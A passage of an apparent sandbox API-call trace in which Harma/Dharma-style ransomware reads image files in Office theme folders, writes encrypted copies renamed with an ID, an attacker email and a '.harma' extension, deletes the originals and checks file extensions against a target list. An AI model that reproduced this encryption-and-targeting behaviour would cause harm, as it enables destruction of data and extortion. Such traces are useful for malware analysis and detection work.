Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0059.952] lstrlenW (lpString=".dbf") returned 4 [0059.952] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0059.952] lstrlenW (lpString=".1cd") returned 4 [0059.952] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0059.952] lstrlenW (lpString=".jpg") returned 4 [0059.952] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.953] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0059.953] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0059.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0059.953] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=37440) returned 1 [0059.953] CloseHandle (hObject=0x1fc) returned 1 [0059.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20 [0059.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0059.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0059.954] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.954] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0059.954] GetLastError () returned 0x0 [0059.954] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x9240, lpOverlapped=0x0) returned 1 [0059.959] WriteFile (in: hFile=0x15c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x9250, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x9250, lpOverlapped=0x0) returned 1 [0059.961] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0059.961] WriteFile (in: hFile=0x15c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.961] SetEndOfFile (hFile=0x15c) returned 1 [0059.961] CloseHandle (hObject=0x15c) returned 1 [0059.961] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.961] SetEndOfFile (hFile=0x1fc) returned 1 [0059.963] CloseHandle (hObject=0x1fc) returned 1 [0059.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0059.964] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 1 [0059.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0059.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0059.964] lstrlenW (lpString=".doc") returned 4 [0059.964] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0059.964] lstrlenW (lpString=".docx") returned 5 [0059.964] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0059.964] lstrlenW (lpString=".pdf") returned 4 [0059.964] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0059.964] lstrlenW (lpString=".xls") returned 4 [0059.964] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0059.964] lstrlenW (lpString=".xlsx") returned 5 [0059.964] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0059.964] lstrlenW (lpString=".ppt") returned 4 [0059.964] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0059.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0059.964] lstrlenW (lpString=".zip") returned 4 [0059.965] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0059.965] lstrlenW (lpString=".rar") returned 4 [0059.965] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0059.965] lstrlenW (lpString=".bz2") returned 4 [0059.965] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0059.965] lstrlenW (lpString=".7z") returned 3 [0059.965] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0059.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0059.965] lstrlenW (lpString=".dbf") returned 4 [0059.965] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0059.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0059.965] lstrlenW (lpString=".1cd") returned 4 [0059.965] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0059.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0059.965] lstrlenW (lpString=".jpg") returned 4 [0059.965] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0059.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0059.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0059.965] lstrlenW (lpString=".doc") returned 4 [0059.965] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0059.965] lstrlenW (lpString=".docx") returned 5 [0059.965] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0059.965] lstrlenW (lpString=".pdf") returned 4 [0059.965] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0059.965] lstrlenW (lpString=".xls") returned 4 [0059.966] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0059.966] lstrlenW (lpString=".xlsx") returned 5 [0059.966] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0059.966] lstrlenW (lpString=".ppt") returned 4 [0059.966] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0059.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0059.966] lstrlenW (lpString=".zip") returned 4 [0059.966] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0059.966] lstrlenW (lpString=".rar") returned 4 [0059.966] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0059.966] lstrlenW (lpString=".bz2") returned 4 [0059.966] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0059.966] lstrlenW (lpString=".7z") returned 3 [0059.966] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0059.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0059.966] lstrlenW (lpString=".dbf") returned 4 [0059.966] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0059.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0059.966] lstrlenW (lpString=".1cd") returned 4 [0059.966] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0059.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0059.966] lstrlenW (lpString=".jpg") returned 4 [0059.966] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0059.967] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0059.967] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0059.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0059.967] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1593) returned 1 [0059.967] CloseHandle (hObject=0x1fc) returned 1 [0059.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0059.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0059.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0059.968] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.968] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0060.275] GetLastError () returned 0x0 [0060.275] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x639, lpOverlapped=0x0) returned 1 [0060.277] WriteFile (in: hFile=0x170, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x640, lpOverlapped=0x0) returned 1 [0060.278] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0060.278] WriteFile (in: hFile=0x170, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xea, lpOverlapped=0x0) returned 1 [0060.278] SetEndOfFile (hFile=0x170) returned 1 [0060.278] CloseHandle (hObject=0x170) returned 1 [0060.279] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.279] SetEndOfFile (hFile=0x1fc) returned 1 [0060.280] CloseHandle (hObject=0x1fc) returned 1 [0060.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0060.280] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 1 [0060.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0060.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0060.281] lstrlenW (lpString=".doc") returned 4 [0060.281] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.281] lstrlenW (lpString=".docx") returned 5 [0060.281] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0060.281] lstrlenW (lpString=".pdf") returned 4 [0060.281] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.281] lstrlenW (lpString=".xls") returned 4 [0060.281] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.281] lstrlenW (lpString=".xlsx") returned 5 [0060.281] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0060.281] lstrlenW (lpString=".ppt") returned 4 [0060.281] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0060.281] lstrlenW (lpString=".zip") returned 4 [0060.281] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.281] lstrlenW (lpString=".rar") returned 4 [0060.281] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.281] lstrlenW (lpString=".bz2") returned 4 [0060.281] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.281] lstrlenW (lpString=".7z") returned 3 [0060.281] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0060.282] lstrlenW (lpString=".dbf") returned 4 [0060.282] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0060.282] lstrlenW (lpString=".1cd") returned 4 [0060.282] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0060.282] lstrlenW (lpString=".jpg") returned 4 [0060.282] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0060.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0060.282] lstrlenW (lpString=".doc") returned 4 [0060.282] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.282] lstrlenW (lpString=".docx") returned 5 [0060.282] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0060.282] lstrlenW (lpString=".pdf") returned 4 [0060.282] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.282] lstrlenW (lpString=".xls") returned 4 [0060.282] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.282] lstrlenW (lpString=".xlsx") returned 5 [0060.282] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0060.282] lstrlenW (lpString=".ppt") returned 4 [0060.282] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0060.283] lstrlenW (lpString=".zip") returned 4 [0060.283] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.283] lstrlenW (lpString=".rar") returned 4 [0060.283] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.283] lstrlenW (lpString=".bz2") returned 4 [0060.283] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.283] lstrlenW (lpString=".7z") returned 3 [0060.283] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0060.283] lstrlenW (lpString=".dbf") returned 4 [0060.283] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0060.283] lstrlenW (lpString=".1cd") returned 4 [0060.283] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0060.283] lstrlenW (lpString=".jpg") returned 4 [0060.283] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.283] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0060.283] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0060.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0060.285] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1666) returned 1 [0060.285] CloseHandle (hObject=0x1fc) returned 1 [0060.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20 [0060.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0060.286] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.286] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0060.288] GetLastError () returned 0x0 [0060.288] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x682, lpOverlapped=0x0) returned 1 [0060.290] WriteFile (in: hFile=0x170, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x690, lpOverlapped=0x0) returned 1 [0060.291] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0060.291] WriteFile (in: hFile=0x170, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xea, lpOverlapped=0x0) returned 1 [0060.291] SetEndOfFile (hFile=0x170) returned 1 [0060.292] CloseHandle (hObject=0x170) returned 1 [0060.292] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.292] SetEndOfFile (hFile=0x1fc) returned 1 [0060.293] CloseHandle (hObject=0x1fc) returned 1 [0060.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0060.293] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 1 [0060.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0060.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0060.293] lstrlenW (lpString=".doc") returned 4 [0060.293] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.293] lstrlenW (lpString=".docx") returned 5 [0060.293] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0060.293] lstrlenW (lpString=".pdf") returned 4 [0060.293] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.293] lstrlenW (lpString=".xls") returned 4 [0060.293] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.294] lstrlenW (lpString=".xlsx") returned 5 [0060.294] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0060.294] lstrlenW (lpString=".ppt") returned 4 [0060.294] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0060.294] lstrlenW (lpString=".zip") returned 4 [0060.294] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.294] lstrlenW (lpString=".rar") returned 4 [0060.294] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.294] lstrlenW (lpString=".bz2") returned 4 [0060.294] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.294] lstrlenW (lpString=".7z") returned 3 [0060.294] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0060.294] lstrlenW (lpString=".dbf") returned 4 [0060.294] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0060.294] lstrlenW (lpString=".1cd") returned 4 [0060.294] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0060.294] lstrlenW (lpString=".jpg") returned 4 [0060.294] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0060.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0060.295] lstrlenW (lpString=".doc") returned 4 [0060.295] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.295] lstrlenW (lpString=".docx") returned 5 [0060.295] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0060.295] lstrlenW (lpString=".pdf") returned 4 [0060.295] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.295] lstrlenW (lpString=".xls") returned 4 [0060.295] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.295] lstrlenW (lpString=".xlsx") returned 5 [0060.295] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0060.295] lstrlenW (lpString=".ppt") returned 4 [0060.295] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0060.295] lstrlenW (lpString=".zip") returned 4 [0060.295] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.295] lstrlenW (lpString=".rar") returned 4 [0060.295] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.295] lstrlenW (lpString=".bz2") returned 4 [0060.295] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.295] lstrlenW (lpString=".7z") returned 3 